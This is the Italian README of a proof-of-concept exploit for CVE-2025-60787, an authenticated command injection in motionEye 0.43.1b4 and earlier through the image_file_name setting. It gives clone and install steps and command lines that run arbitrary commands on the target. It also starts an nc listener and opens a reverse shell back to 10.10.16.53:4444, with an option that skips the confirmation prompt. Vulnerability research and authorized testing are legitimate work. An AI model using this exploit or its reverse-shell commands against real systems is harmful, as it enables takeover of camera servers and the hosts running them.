
CVE-2025-60787 motionEye iniezione di comandi autenticata RCE PoC
PoC di command injection autenticata per CVE-2025-60787. motionEye v0.43.1b4 e versioni precedenti scrivono valori di configurazione della telecamera controllati dall'utente, come image_file_name, nella configurazione di Motion senza una sufficiente sanificazione, consentendo l'esecuzione di comandi quando il valore viene elaborato.
Solo per test autorizzati e ricerca. Non utilizzare contro sistemi di cui non si è proprietari o per cui non si ha esplicito permesso di test.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/.image_file_name della telecamera./action/<camera_id>/snapshot/ in modo che motionEye elabori il nome file iniettato.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
Avviare prima un listener:
rlwrap nc -lvnp 4444
Quindi eseguire:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Opzioni utili:
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| Prodotto | Versione interessata | Accesso richiesto | Impatto |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | Accesso amministratore/API autenticato | Esecuzione di comandi a livello di sistema operativo come utente del processo motionEye/Motion |
Il privilegio risultante dipende da come motionEye è distribuito. In contenitori o immagini di laboratorio che eseguono il servizio come root, l'esecuzione dei comandi può avvenire con privilegi di root.
image_file_name.--restore durante i test per ripristinare la configurazione originale della telecamera dopo lo sfruttamento.--cmd per una validazione sicura prima di tentare una reverse shell.ozcanpng — github.com/ozcanpng — ozcanpng.dev